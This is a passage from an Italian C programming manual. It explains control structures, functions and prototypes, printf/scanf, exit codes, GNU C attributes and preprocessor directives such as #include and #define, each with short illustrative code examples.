La struttura condizionale è il sistema di controllo fondamentale dell'andamento del flusso delle istruzioni.

```
if (condizione) istruzione
```

```
if (condizione) istruzione else istruzione
```

Se la condizione si verifica, viene eseguita l'istruzione o il gruppo di istruzioni che segue; quindi il controllo passa alle istruzioni successive alla struttura. Se viene utilizzata la sotto-struttura che si articola a partire dalla parola chiave '**`else`**', nel caso non si verifichi la condizione, viene eseguita l'istruzione che ne dipende. Sotto vengono mostrati alcuni esempi.

```
int i_importo;
…
if (i_importo > 10000000) printf ("L'offerta è vantaggiosa\n");
```

```
int i_importo;
int i_memorizza;
…
if (i_importo > 10000000)
  {
    i_memorizza = i_importo;
    printf ("L'offerta è vantaggiosa\n");
  }
else
  {
    printf ("Lascia perdere\n");
  }
```

L'esempio successivo, in particolare, mostra un modo grazioso per allineare le sottocondizioni, senza eccedere negli annidamenti:

```
int i_importo;
int i_memorizza;
…
if (i_importo > 10000000)
  {
    i_memorizza = i_importo;
    printf ("L'offerta è vantaggiosa\n");
  }
else if (i_importo > 5000000)
  {
    i_memorizza = i_importo;
    printf ("L'offerta è accettabile\n");
  }
else
  {
    printf ("Lascia perdere\n");
  }
```

77.1.5.2 Struttura di selezione: «switch»

La struttura di selezione che si attua con l'istruzione '**`switch`**', è un po' troppo complessa per essere rappresentata facilmente attraverso uno schema sintattico. In generale, questa struttura permette di **saltare** a una certa posizione della struttura, in base al risultato di un'espressione. L'esempio seguente mostra la visualizzazione del nome del mese, in base al valore di un intero.

```
int i_mese;
…
switch (i_mese)
  {
    case 1: printf ("gennaio\n"); break;
    case 2: printf ("febbraio\n"); break;
    case 3: printf ("marzo\n"); break;
    case 4: printf ("aprile\n"); break;
    case 5: printf ("maggio\n"); break;
    case 6: printf ("giugno\n"); break;
    case 7: printf ("luglio\n"); break;
    case 8: printf ("agosto\n"); break;
    case 9: printf ("settembre\n"); break;
    case 10: printf ("ottobre\n"); break;
    case 11: printf ("novembre\n"); break;
    case 12: printf ("dicembre\n"); break;
  }
```

Come si vede, dopo l'istruzione con cui si emette il nome del mese attraverso lo standard output, viene richiesta l'interruzione esplicita dell'analisi della struttura, attraverso l'istruzione '**`break`**', perché altrimenti verrebbero eseguite le istruzioni del caso successivo, se presente. Infatti, un gruppo di casi può essere raggruppato assieme, quando si vuole che ognuno di questi esegua lo stesso insieme di istruzioni.

```
int i_anno;
int i_mese;
int i_giorni;
…
switch (i_mese)
  {
    case 1:
    case 3:
    case 5:
    case 7:
    case 8:
    case 10:
    case 12:
        i_giorni = 31;
        break;
    case 4:
    case 6:
```

```
    case 9:
    case 11:
        i_giorni = 30;
        break;
    case 2:
        if (((i_anno % 4 == 0) && !(i_anno % 100 == 0)) ||
                (i_anno % 400 == 0))
            i_giorni = 29;
        else
            i_giorni = 28;
        break;
  }
```

È anche possibile dichiarare un caso predefinito che si verifichi quando nessuno degli altri si avvera.

```
int i_mese;
...
switch (i_mese)
  {
    case 1: printf ("gennaio\n"); break;
    case 2: printf ("febbraio\n"); break;
    ...
    case 11: printf ("novembre\n"); break;
    case 12: printf ("dicembre\n"); break;
    default: printf ("mese non corretto\n"); break;
  }
```

La struttura di selezione che si ottiene con l'istruzione '**`switch`**' può apparire disarmonica rispetto all'organizzazione del linguaggio C, per la presenza delle voci '**`case`** *valore*`:`'. Queste voci sono sostanzialmente delle «etichette» che individuano una posizione nel codice, da raggiungere in base al valore preso in considerazione per la selezione.

77.1.5.3 Iterazione con condizione di uscita iniziale: «while»

L'iterazione si ottiene normalmente in C attraverso l'istruzione '**`while`**', la quale esegue un'istruzione, o un gruppo di queste, finché la condizione continua a restituire il valore *Vero*. La condizione viene valutata prima di eseguire il gruppo di istruzioni e poi ogni volta che termina un ciclo, prima dell'esecuzione del successivo.

```
while (condizione) istruzione
```

L'esempio seguente fa apparire per 10 volte la lettera «x».

```
int i = 0;

while (i < 10)
  {
    i++;
    printf ("x");
  }
printf ("\n");
```

Nel blocco di istruzioni di un ciclo '**`while`**', ne possono apparire alcune particolari:

- '**`break`**', che serve a uscire definitivamente dalla struttura del ciclo;
- '**`continue`**', che serve a interrompere l'esecuzione del gruppo di istruzioni, riprendendo immediatamente con il ciclo successivo (a partire dalla valutazione della condizione).

L'esempio seguente è una variante del calcolo di visualizzazione mostrato sopra, modificato in modo da vedere il funzionamento dell'istruzione '**`break`**'. All'inizio della struttura, '**`while (1)`**' equivale a stabilire che il ciclo è senza fine, perché la condizione è sempre vera. In questo modo, solo la richiesta esplicita di interruzione dell'esecuzione della struttura (attraverso l'istruzione '**`break`**') permette l'uscita da questa.

```
int i = 0;

while (1)
  {
    if (i >= 10)
      {
        break;
      }
    i++;
    printf ("x");
  }
printf ("\n");
```

77.1.5.4 Iterazione con condizione di uscita finale: «do-while»

Una variante del ciclo '**`while`**', in cui l'analisi della condizione di uscita avviene dopo l'esecuzione del blocco di istruzioni che viene iterato, è definito dall'istruzione '**`do`**'.

```
do blocco_di_istruzioni while (condizione);
```

In questo caso, si esegue un gruppo di istruzioni una volta, poi se ne ripete l'esecuzione finché la condizione restituisce il valore *Vero*.

```
int i = 0;

do
  {
    i++;
    printf ("x");
  }
while (i < 10);
printf ("\n");
```

L'esempio mostrato è quello già usato nella sezione precedente, con l'adattamento necessario a utilizzare questa struttura di controllo.

La struttura di controllo '**`do...while`**' è in disuso, perché, generalmente, al suo posto si preferisce gestire i cicli di questo tipo attraverso una struttura '**`while`**', pura e semplice.

77.1.5.5 Ciclo enumerativo: «for»

In presenza di iterazioni in cui si deve incrementare o decrementare una variabile a ogni ciclo, si usa preferibilmente la struttura '**`for`**', che in C permetterebbe un utilizzo più ampio di quello comune:

```
for ([espressione1]; [espressione2]; [espressione3]) istruzione
```

La forma tipica di un'istruzione '**`for`**' è quella per cui la prima espressione corrisponde all'assegnamento iniziale di una variabile, la seconda a una condizione che deve verificarsi fino a che si vuole che sia eseguita l'istruzione (o il gruppo di istruzioni) e la terza all'incremento o decremento della variabile inizializzata con la prima espressione. In pratica, l'utilizzo normale del ciclo '**`for`**' potrebbe esprimersi nella sintassi seguente:

```
for (var = n; condizione; var++) istruzione
```

Il ciclo '**`for`**' potrebbe essere definito anche in maniera differente, più generale: la prima espressione viene eseguita una volta sola all'inizio del ciclo; la seconda viene valutata all'inizio di ogni ciclo e il gruppo di istruzioni viene eseguito solo se il risultato è *Vero*; l'ultima viene eseguita alla fine dell'esecuzione del gruppo di istruzioni, prima che si ricominci con l'analisi della condizione.

L'esempio già visto, in cui viene visualizzata per 10 volte una «x», potrebbe tradursi nel modo seguente, attraverso l'uso di un ciclo '**`for`**':

```
int i;

for (i = 0; i < 10; i++)
  {
    printf ("x");
  }
printf ("\n");
```

Anche nelle istruzioni controllate da un ciclo '**`for`**' si possono collocare istruzioni '**`break`**' e '**`continue`**', con lo stesso significato visto per il ciclo '**`while`**' e '**`do`**...**`while`**'.

Sfruttando la possibilità di inserire più espressioni in una singola istruzione, si possono realizzare dei cicli '**`for`**' molto più complessi, anche se questo è sconsigliabile per evitare di scrivere codice troppo difficile da interpretare. In questo modo, l'esempio precedente potrebbe essere ridotto a quello che segue, dove si usa un punto e virgola solitario per rappresentare un'istruzione nulla:

```
int i;

for (i = 0; i < 10; printf ("x"), i++)
  {
    ;
  }
printf ("\n");
```

Se si utilizzano istruzioni multiple, separate con la virgola, occorre tenere presente che **l'espressione che esprime la condizione deve rimanere singola** (se per la condizione si usasse un'espressione multipla, conterebbe solo la valutazione dell'ultima). Naturalmente, nel caso della condizione, si possono costruire condizioni complesse con l'ausilio degli operatori logici, ma rimane il fatto che l'operatore virgola ('`,`') non dovrebbe avere senso lì.

Nel modello sintattico iniziale si vede che le tre espressioni sono opzionali e rimane solo l'obbligo di mettere i punti e virgola relativi. L'esempio seguente mostra un ciclo senza fine che viene interrotto attraverso un'istruzione '**`break`**':

```
int i = 0;
for (;;)
  {
    if (i >= 10)
      {
        break;
      }
    printf ("x");
    i++;
  }
```

77.1.6 Funzioni

Il linguaggio C offre le funzioni come mezzo per realizzare la scomposizione del codice in subroutine. Prima di poter essere utilizzate attraverso una chiamata, le funzioni devono essere dichiarate, anche se non necessariamente descritte. In pratica, se si vuole indicare nel codice una chiamata a una funzione che viene descritta più avanti, occorre almeno dichiararne il prototipo.

Le funzioni del linguaggio C prevedono il passaggio di parametri solo **per valore**, con tutti i tipi di dati, esclusi gli array (che invece vanno passati per riferimento, attraverso il puntatore alla loro posizione iniziale in memoria).

Il linguaggio C, attraverso la libreria standard, offre un gran numero di funzioni comuni, i cui prototipi vengono incorporati nel codice attraverso l'inclusione di file di intestazione, con l'istruzione '**`#include`**' del precompilatore. Per esempio, come si è già visto, per poter utilizzare la funzione ***printf()*** si deve inserire la riga '**`#include <stdio.h>`**' nella parte iniziale del file sorgente.

77.1.6.1 Dichiarazione di un prototipo

Quando la descrizione di una funzione può essere fatta solo dopo l'apparizione di una sua chiamata, occorre dichiararne il prototipo all'inizio, secondo la sintassi seguente:

tipo nome `(` [***tipo*** [***nome***] [`,`...]] `);`

Il tipo, posto all'inizio, rappresenta il tipo di valore che la funzione restituisce. Se la funzione non deve restituire alcunché, si utilizza il tipo '**`void`**'. Se la funzione utilizza dei parametri, il tipo di questi deve essere elencato tra le parentesi tonde. L'istruzione con cui si dichiara il prototipo termina regolarmente con un punto e virgola.

Lo standard C stabilisce che una funzione che non richiede parametri deve utilizzare l'identificatore '**`void`**' in modo esplicito, all'interno delle parentesi.

Segue la descrizione di alcuni esempi.

- ```
  int fattoriale (int);
  ```
  In questo caso, viene dichiarato il prototipo della funzione '**`fattoriale`**', che richiede un parametro di tipo '**`int`**' e restituisce anche un valore di tipo '**`int`**'.

- ```
  int fattoriale (int n);
  ```
  Come nell'esempio precedente, dove in più, per comodità si aggiunge il nome del parametro che comunque viene ignorato dal compilatore.

- ```
  void elenca (void);
  ```
  Si tratta della dichiarazione di una funzione che fa qualcosa senza bisogno di ricevere alcun parametro e senza restituire alcun valore ('**`void`**' è il tipo che rappresenta una variabile di rango nullo e, come tale, incapace di accogliere qualunque valore).
  ```

77.1.6.2 Descrizione di una funzione

La descrizione della funzione, rispetto alla dichiarazione del prototipo, richiede l'indicazione dei nomi da usare per identificare i parametri (mentre nel prototipo questi sono facoltativi) e naturalmente l'aggiunta delle istruzioni da eseguire. Le parentesi graffe che appaiono nello schema sintattico fanno parte delle istruzioni necessarie.

```
tipo nome ( [tipo parametro [,...] ] )
{
  istruzione;
  ...
}
```

Per esempio, la funzione seguente esegue il prodotto tra i due parametri forniti e ne restituisce il risultato:

```
int prodotto (int x, int y)
{
  return (x * y);
}
```

I parametri indicati tra parentesi, rappresentano una dichiarazione di variabili locali[13] che contengono inizialmente i valori usati nella chiamata. Il valore restituito dalla funzione viene definito attraverso l'istruzione '**`return`**', come si può osservare dall'esempio. Naturalmente, nelle funzioni di tipo '**`void`**' l'istruzione '**`return`**' va usata senza specificare il valore da restituire, oppure si può fare a meno del tutto di tale istruzione.

Nei manuali tradizionale del linguaggio C si descrivono le funzioni nel modo visto nell'esempio precedente; al contrario, nella guida *GNU coding standards* si richiede di mettere il nome della funzione in corrispondenza della colonna uno, così:

```
int
prodotto (int x, int y)
{
  return (x * y);
}
```

Le variabili dichiarate all'interno di una funzione, oltre a quelle dichiarate implicitamente come mezzo di trasporto degli argomenti della chiamata, sono visibili solo al suo interno, mentre quelle dichiarate al di fuori di tutte le funzioni, sono variabili globali, accessibili potenzialmente da ogni parte del programma.[14] Se una variabile locale ha un nome coincidente con quello di una variabile globale, allora, all'interno della funzione, quella variabile globale non è accessibile.

Le regole da seguire, almeno in linea di principio, per scrivere programmi chiari e facilmente modificabili, prevedono che si debba fare in modo di rendere le funzioni indipendenti dalle variabili globali, fornendo loro tutte le informazioni necessarie attraverso i parametri. In questo modo diventa del tutto indifferente il fatto che una variabile locale vada a mascherare una variabile globale; inoltre, ciò permette di non dover tenere a mente il ruolo di queste

variabili globali e (se non si usano le variabili «statiche») fa sì che si ottenga una funzione completamente «rientrante».

77.1.6.3 File di intestazione e libreria

Una libreria di funzioni si compone almeno di due parti fondamentali: i prototipi delle funzioni e la descrizione delle funzioni stesse. Secondo la tradizione, l'inclusione di codice attraverso l'istruzione '**`#include`**' del precompilatore, si usa esclusivamente per includere «file di intestazione», contraddistinti convenzionalmente da un nome che termina con il suffisso '**`.h`**'. Questi file di intestazione devono essere costruiti con certi criteri, in modo che la loro inclusione multipla non possa creare problemi. Per quanto riguarda le funzioni, questi file possono contenerne esclusivamente i prototipi.

Per esempio, si potrebbe dire che per poter usare la funzione ***printf()*** si debba includere la «libreria» standard '`stdio.h`'. L'affermazione in sé può essere accettabile, ma non è precisa. Infatti, il file di intestazione '`stdio.h`' contiene prototipi e altre definizioni della porzione della libreria standard che consente di usare la funzione ***printf()***, ma la descrizione effettiva di tale funzione si trova in un altro file.

77.1.7 Vincoli nei nomi

Quando si definiscono variabili e funzioni nel proprio programma, occorre avere la prudenza di non utilizzare nomi che coincidano con quelli delle librerie che si vogliono usare e che non possano andare in conflitto con l'evoluzione del linguaggio. A questo proposito va osservata una regola molto semplice: non si vanno usati nomi «esterni» che inizino con il trattino basso ('_'); in tutti gli altri casi, invece, non si possono usare i nomi che iniziano con un trattino basso e continuano con una lettera maiuscola o un altro trattino basso.

Il concetto di nome esterno viene descritto a proposito della compilazione di un programma che si sviluppa in più file-oggetto da collegare assieme (sezione 77.3). L'altro vincolo serve a impedire, per esempio, la creazione di nomi come '**`_Bool`**' o '**`__STDC_IEC_559__`**'. Rimane quindi la possibilità di usare nomi che inizino con un trattino basso, purché continuino con un carattere minuscolo e siano visibili solo nell'ambito del file sorgente che si compone.

77.1.8 I/O elementare

L'input e l'output elementare che si usa nella prima fase di apprendimento del linguaggio C si ottiene attraverso l'uso di due funzioni fondamentali: ***printf()*** e ***scanf()***. La prima si occupa di emettere una stringa dopo averla trasformata in base a dei codici di composizione determinati; la seconda si occupa di ricevere input (generalmente da tastiera) e di trasformarlo secondo codici di conversione simili alla prima. Infatti, il problema che si incontra inizialmente, quando si vogliono emettere informazioni attraverso lo standard output per visualizzarle sullo schermo, sta nella necessità di convertire in qualche modo tutti i dati che non siano già di tipo '**`char`**'. Dalla parte opposta, quando si inserisce un dato che non sia da intendere come un semplice carattere alfanumerico, serve una conversione adatta nel tipo di dati corretto.

Per utilizzare queste due funzioni, occorre includere il file di intestazione '`stdio.h`', come è già stato visto più volte negli esempi.

Le due funzioni, ***printf()*** e ***scanf()***, hanno in comune il fatto di disporre di una quantità variabile di parametri, dove solo il primo è stato precisato. Per questa ragione, la stringa che

costituisce il primo argomento deve contenere tutte le informazioni necessarie a individuare quelli successivi; pertanto, si fa uso di ***specificatori di conversione*** che definiscono il tipo e l'ampiezza dei dati da trattare. A titolo di esempio, lo specificatore '**%i**' si riferisce a un valore intero di tipo '**int**', mentre '**%li**' si riferisce a un intero di tipo '**long int**'.

Vengono mostrati solo alcuni esempi, perché una descrizione più approfondita nell'uso delle funzioni ***printf()*** e ***scanf()*** appare in altre sezioni (78.3 e 80.17). Si comincia con l'uso di ***printf()***:

```
…
double capitale = 1000.00;
double tasso    = 0.5;
int    interesse = (capitale * tasso) / 100;
…
printf ("%s: il capitale %f, ", "Ciao", capitale);
printf ("investito al tasso %f%% ", tasso);
printf ("ha prodotto un interesse pari a %i.\n", interesse);
…
```

Gli specificatori di conversione usati in questo esempio si possono considerare quelli più comuni: '**%s**' incorpora una stringa; '**%f**' traduce in testo un valore che originariamente è di tipo '**double**'; '**%i**' traduce in testo un valore '**int**'; inoltre, '**%%**' viene trasformato semplicemente in un carattere percentuale nel testo finale. Alla fine, l'esempio produce l'emissione del testo: «Ciao: il capitale 1000.00, investito al tasso 0.500000% ha prodotto un interesse pari a 5.»

La funzione ***scanf()*** è un po' più difficile da comprendere: la stringa che definisce il procedimento di interpretazione e conversione deve confrontarsi con i dati provenienti dallo standard input. L'uso più semplice di questa funzione prevede l'individuazione di un solo dato:

```
…
int importo;
…
printf ("Inserisci l'importo: ");
scanf ("%i", &importo);
…
```

Il pezzo di codice mostrato emette la frase seguente e resta in attesa dell'inserimento di un valore numerico intero, seguito da [*Invio*]:

```
Inserisci l'importo: _
```

Questo valore viene inserito nella variabile ***importo***. Si deve osservare il fatto che gli argomenti successivi alla stringa di conversione sono dei puntatori, per cui, avendo voluto inserire il dato nella variabile ***importo***, questa è stata indicata preceduta dall'operatore '**&**' in modo da fornire alla funzione l'indirizzo corrispondente (si veda la sezione 77.5 sulla gestione dei puntatori).

Con una stessa funzione ***scanf()*** è possibile inserire dati per diverse variabili, come si può osservare dall'esempio seguente, ma in questo caso, per ogni dato viene richiesta la separazione con spazi orizzontali o anche con la pressione di [*Invio*].

```
printf ("Inserisci il capitale e il tasso:");
scanf ("%i%f", &capitale, &tasso);
```

77.1.9 Restituzione di un valore

In un sistema Unix e in tutti i sistemi che si rifanno a quel modello, i programmi, di qualunque tipo siano, al termine della loro esecuzione, restituiscono un valore che può essere utilizzato da uno script di shell per determinare se il programma ha fatto ciò che si voleva o se è intervenuto qualche tipo di evento che lo ha impedito.

Convenzionalmente si tratta di un valore numerico, con un intervallo di valori abbastanza ristretto, in cui zero rappresenta una conclusione normale, ovvero priva di eventi indesiderati, mentre qualsiasi altro valore rappresenta un'anomalia. A questo proposito si consideri quello «strano» atteggiamento degli script di shell, per cui zero equivale a *Vero*.

Lo standard del linguaggio C prescrive che la funzione ***main()*** debba restituire un tipo intero, contenente un valore compatibile con l'intervallo accettato dal sistema operativo: tale valore intero è ciò che dovrebbe lasciare di sé il programma, al termine del proprio funzionamento.

Se il programma deve terminare, per qualunque ragione, in una funzione diversa da ***main()***, non potendo usare l'istruzione '**`return`**' per questo scopo, si può richiamare la funzione ***exit()***:

```
exit (valore_restituito);
```

La funzione ***exit()*** provoca la conclusione del programma, dopo aver provveduto a scaricare i flussi di dati e a chiudere i file. Per questo motivo, non restituisce un valore all'interno del programma, al contrario, fa in modo che il programma restituisca il valore indicato come argomento.

Per poterla utilizzare occorre includere il file di intestazione '`stdlib.h`' che tra l'altro dichiara già due macro-variabili adatte a definire la conclusione corretta o errata del programma: ***EXIT_SUCCESS*** e ***EXIT_FAILURE***.[15] L'esempio seguente mostra in che modo queste macro-variabili potrebbero essere usate:

```
#include <stdlib.h>
...
...
if (...)
  {
    exit (EXIT_SUCCESS);
  }
else
  {
    exit (EXIT_FAILURE);
  }
```

Naturalmente, se si può concludere il programma nella funzione ***main()***, si può fare lo stesso con l'istruzione '**`return`**':

```
#include <stdlib.h>
…
…
int main (…)
{
    …
    if (…)
      {
        return (EXIT_SUCCESS);
      }
    else
      {
        return (EXIT_FAILURE);
      }
    …
}
```

77.1.10 Attributi per GNU C

Il compilatore GNU C prevede l'uso di «attributi» nel proprio codice, come estensione del linguaggio. Dal momento che il compilatore GNU C è molto importante e diffuso, conviene sapere che forma possono avere tali attributi, almeno per non restare sbalorditi nella lettura del codice di altri autori:

```
__attribute__ ((tipo_di_attributo))
```

Frequentemente, questi attributi vanno collocati alla fine della dichiarazione di ciò a cui si riferiscono, come nell'esempio seguente, dove viene assegnato l'attributo '**`deprecated`**' al prototipo di una funzione:

```
…
mia_funzione (void) __attribute__ ((deprecated));
…
```

Se può servire, il nome dell'attributo può apparire anche preceduto e terminato da due trattini bassi; pertanto, l'esempio già visto può essere scritto anche così:

```
…
mia_funzione (void) __attribute__ ((__deprecated__));
…
```

Il fatto che siano previsti tali attributi dal compilatore GNU C, rende molto difficile l'individuazione di un errore frequente e banale: la mancanza del punto e virgola alla fine di un prototipo di funzione. Per esempio, si può supporre di avere realizzato un proprio file di intestazione con il contenuto seguente:

```
…
mia_funzione_1 (int a, int b);
mia_funzione_2 (int a, int b)
mia_funzione_3 (int a, int b);
mia_funzione_4 (int a, int b);
…
```

Come si vede, il prototipo di ***mia_funzione_2()*** non è concluso con il punto e virgola. Durante la compilazione di un file che include questa porzione di codice, l'errore che viene evidenziato dal compilatore GNU C è incomprensibile, rispetto alla realtà effettiva:

```
In file included from …/lib/stdio.h:5,
                 from asctime.c:3:
…/lib/stdarg.h: In function 'asctime':
…/lib/stdarg.h:4: error: storage class specified for parameter
  'va_list'
In file included from …/lib/stdio.h:10,
                 from asctime.c:3:
…/lib/sys/types.h:8: error: storage class specified for parameter
  'blkcnt_t'
…/lib/sys/types.h:9: error: storage class specified for parameter
  'blksize_t'
…/lib/sys/types.h:10: error: storage class specified for parameter
  'dev_t'
…
…
…/lib/stdio.h:94: error: expected declaration specifiers or
  '...' before 'va_list'
…/lib/stdio.h:96: error: expected declaration specifiers or
  '...' before 'va_list'
asctime.c:7: error: expected '=', ',', ';', 'asm' or '__attribute__'
  before '{' token
asctime.c:99: error: old-style parameter declarations in prototyped
  function definition
asctime.c:99: error: expected '{' at end of input
make: *** [asctime] Error 1
…
```

L'esempio mostrato si riferisce a un errore provocato volutamente nel file di intestazione '`time.h`', a cui mai viene fatto riferimento nell'analisi del compilatore. Pertanto, di fronte a errori così incomprensibili, è determinante il controllo della conclusione corretta dei prototipi delle funzioni, all'interno dei file di intestazione prodotti per proprio conto.

77.2 Istruzioni del precompilatore

Il linguaggio C non può fare a meno del precompilatore e le sue direttive sono regolate dallo standard. Il precompilatore è un programma, o quella parte del compilatore, che si occupa di pre-elaborare un sorgente per generarne uno nuovo, il quale poi viene compilato con tutte le trasformazioni apportate.

Tradizionalmente, in un sistema operativo che si rifà al modello dei sistemi Unix, il precompilatore è costituito dal programma '**cpp**' che può essere utilizzato direttamente o in modo trasparente dal compilatore '**cc**'. Volendo simulare i passaggi iniziali della compilazione di un programma ipotetico denominato 'prg.c', evidenziando il ruolo del precompilatore, questi si potrebbero esprimere così:

$ **cpp -E -o prg.i prg.c**[*Invio*]

$ **cc -o prg.o prg.i**[*Invio*]

$ ...

In questo caso, il file 'prg.i' generato dal precompilatore è quello che viene chiamato dalla documentazione standard una ***unità di traduzione***. Una unità di traduzione singola può essere il risultato della fusione di diversi file, incorporati attraverso le direttive '**#include**', come viene descritto nel capitolo. Ciò che occorre osservare è che, quando si parla di campo di azione legato al «file», ci si riferisce al file generato dal precompilatore, ovvero all'unità di traduzione.

Va osservato che esistono programmi che utilizzano il precompilatore del linguaggio C per fini estranei al linguaggio stesso. Per esempio i file di configurazione delle risorse di X (il sistema grafico) vengono fatti elaborare da '**cpp**' prima di essere interpretati.

77.2.1 Linguaggio a sé stante

Le direttive del precompilatore rappresentano un linguaggio a sé stante, con proprie regole. In generale:

- le direttive iniziano con il simbolo '**#**', preferibilmente nella prima colonna;
- le direttive non utilizzano alcun simbolo di conclusione (non si usa il punto e virgola);
- ogni direttiva occupa una riga, la quale può essere spezzata e ripresa in righe successive, utilizzando il simbolo '****' subito prima del codice di interruzione di riga;
- su una riga può essere inserita una sola direttiva, perché non c'è altro modo di distinguere la fine di una dall'inizio della successiva.

Se appare un simbolo '**#**' privo di altre indicazioni, questo viene semplicemente ignorato dal precompilatore. Di solito le direttive del precompilatore si scrivono senza annidamenti, ma questo fatto rischia di rendere particolarmente complicata la lettura del sorgente. A ogni modo, se si usano gli annidamenti, di solito questi riguardano solo le altre direttive e non il codice del linguaggio C puro e semplice.

I commenti del linguaggio C possono apparire solo alla fine delle direttive, ma non in tutte; pertanto vanno usati con prudenza. Vengono usati sicuramente alla fine delle direttive '**#else**' e '**#endif**' per ricordare a quale condizione si riferiscono.

77.2.2 Direttiva «#include»

La direttiva '**`#include`**' permette di includere un file. Generalmente si tratta di un cosiddetto ***file di intestazione***, contenente una serie di definizioni necessarie al file sorgente in cui vengono incorporate. Il file da incorporare può essere indicato delimitandolo con le parentesi angolari, oppure con gli apici doppi; il modo in cui si delimita il nome del file serve a stabilire come questo deve essere cercato:[16]

```
#include <file>
```

```
#include "file"
```

I due esempi seguenti mostrano la richiesta di includere il file '`stdio.h`' secondo le due forme possibili:

```
#include <stdio.h>
```

```
#include "stdio.h"
```

Delimitando il nome tra parentesi angolari si fa riferimento a un file che dovrebbe trovarsi in una posizione stabilita dalla configurazione del compilatore; per esempio, nel caso di GNU C in un sistema GNU/Linux, dovrebbe trattarsi della directory '`/usr/include/`'. Se invece si delimita il nome tra apici doppi, generalmente si fa riferimento a una posizione precisa nel file system, attraverso l'indicazione di un percorso (secondo la modalità prevista dal sistema operativo); pertanto, scrivendo il nome del file come nell'esempio, si dovrebbe intendere che la sua collocazione debba essere la directory corrente.

> Di norma, quando si indica un file da includere delimitandolo con gli apici doppi e senza indicare alcun percorso, se questo file non si trova nella directory corrente, allora viene cercato nella directory predefinita, come se fosse stato indicato tra le parentesi angolari.

Un file incorporato attraverso la direttiva '**`#include`**', può a sua volta fare lo stesso con altri; naturalmente, questa possibilità va considerata per evitare di includere più volte lo stesso file e di solito si usa un accorgimento che viene descritto più avanti nel capitolo.

77.2.3 Direttiva «#define»

La direttiva '**`#define`**' serve a definire quelle che sono note come ***macro***, ovvero delle variabili del precompilatore che, successivamente, il precompilatore stesso espande secondo regole determinate. Lo standard del linguaggio C distingue queste macro in due categorie: *object-like macro* e *function-like macro*. Nel corso di questi capitoli si usa la definizione di ***macro-variabile*** nel primo caso e di ***macro-istruzione*** nel secondo.

Come sottoinsieme delle macro-variabili vengono considerate le ***costanti manifeste***, per rappresentare dei valori semplici che si ripetono nel sorgente. Per esempio, ***NULL*** è la costante manifesta standard per rappresentare il puntatore nullo.

```
#define macro [sequenza_di_caratteri]
```

La direttiva '**#define**' usata secondo la sintassi mostrata consente di definire delle macro-variabili, ovvero ciò che lo standard definisce *object-like macro*. Ciò che si ottiene è la sostituzione nel sorgente del nome indicato con la sequenza di caratteri che lo segue. Si osservi l'esempio seguente:

```
#define SALUTO Ciao! Come stai?
```

In questo caso viene dichiarata la macro-variabile ***SALUTO*** in modo tale che tutte le occorrenze di questo nome, successive alla sua dichiarazione, vengano sostituite con '**Ciao! Come stai?**'. È molto importante comprendere questo particolare: tutto ciò che appare dopo il nome della macro, a parte lo spazio che lo separa, viene utilizzato nella sostituzione. L'esempio seguente, invece rappresenta un programma completo:

```
#include <stdio.h>
#define SALUTO "Ciao! come stai?\n"
int main (void)
{
  printf (SALUTO);
  return 0;
}
```

In questo caso, la macro-variabile ***SALUTO*** può essere utilizzata in un contesto in cui ci si attende una stringa letterale, perché include gli apici doppi che sono necessari per questo scopo. Nell'esempio si vede l'uso della macro-variabile come argomento della funzione ***printf()*** e l'effetto del programma è quello di mostrare il messaggio seguente:

```
Ciao! come stai?
```

È bene precisare che la sostituzione delle macro-variabili non avviene se i loro nomi appaiono tra apici doppi, ovvero all'interno di stringhe letterali. Si osservi l'esempio seguente:

```
#include <stdio.h>
#define SALUTO Ciao! come stai?
int main (void)
{
  printf ("SALUTO\n");
  return 0;
}
```

In questo caso, la funzione ***printf()*** emette effettivamente la parola '**SALUTO**' e non avviene alcuna espansione di macro:

```
SALUTO
```

Una volta compreso il meccanismo basilare della direttiva '**#define**' si può osservare che questa può essere utilizzata in modo più complesso, facendo anche riferimento ad altre macro già definite:

```
#define UNO 1
#define DUE UNO+UNO
#define TRE DUE+UNO
```

In presenza di una situazione come questa, utilizzando la macro ***TRE***, si ottiene prima la sostituzione con '**`DUE+UNO`**', quindi con '**`UNO+UNO+1`**', infine con '**`1+1+1`**' (dopo, tocca al compilatore).

Tradizionalmente i nomi delle macro-variabili vengono definiti utilizzando solo lettere maiuscole, in modo da poterli distinguere facilmente nel sorgente.

Come è possibile vedere meglio in seguito, è sensato anche dichiarare una macro senza alcuna corrispondenza. Ciò può servire per le direttive '**`#ifdef`**' e '**`#ifndef`**'.

Nella definizione di una macro-variabile può apparire l'operatore '**`##`**', con lo scopo di attaccare ciò che si trova alle sue estremità. Si osservi l'esempio seguente:

```
#include <stdio.h>
#define UNITO 1234 ## 5678
int main (void)
{
  printf ("%i\n", UNITO);
  return 0;
}
```

Eseguendo questo programma si ottiene semplicemente l'emissione del numero 12345678. Questo operatore può servire anche per unire assieme il nome di una macro-variabile, benché questo sia poco consigliabile:

```
#include <stdio.h>
#define MIAMACRO 12345678
#define UNITO MI ## A ## MA ## CRO
int main (void)
{
  printf ("%i\n", UNITO);
  return 0;
}
```

77.2.4 Direttiva «#define» con parametri

La direttiva '**`#define`**' può essere usata per creare una macro-istruzione, ovvero una cosa che viene usata con l'apparenza di una funzione:

`#define` ***macro*** (***parametro*** [, ***parametro***]...) ***sequenza_di_caratteri***

Per comprendere il meccanismo è meglio avvalersi di esempi. In quello seguente, l'istruzione '**`i = QUADRATO(i)`**' si traduce in '**`i = (i)*(i)`**':

```
#define QUADRATO(A)        (A)*(A)
…
…
i = QUADRATO (i);
…
```

Si osservi il fatto che, nella definizione, la stringa di sostituzione è stata composta utilizzando le parentesi: ciò permette di evitare problemi successivamente, nelle precedenze di valutazione delle espressioni, se l'argomento della funzione simulata attraverso la macro-istruzione è composto:

```
…
i = QUADRATO (123 * 34 + 3);
…
```

In questo caso, la sostituzione genera '**`i = (123 * 34 + 3)*(123 * 34 + 3)`**' e si può vedere che le parentesi sono appropriate. L'esempio seguente, costituito da un programma completo, mostra l'uso di due parametri:

```
#include <stdio.h>
#define MAX(X, Y) ((X) > (Y) ? (X) : (Y))
int main (void)
{
  printf ("valore massimo tra %i e %i: %i\n", 3, 4, MAX (3, 4));
  return 0;
}
```

La macro-istruzione '**`MAX (3, 4)`**' si traduce in '**`((3) > (4) ? (3) : (4))`**'.

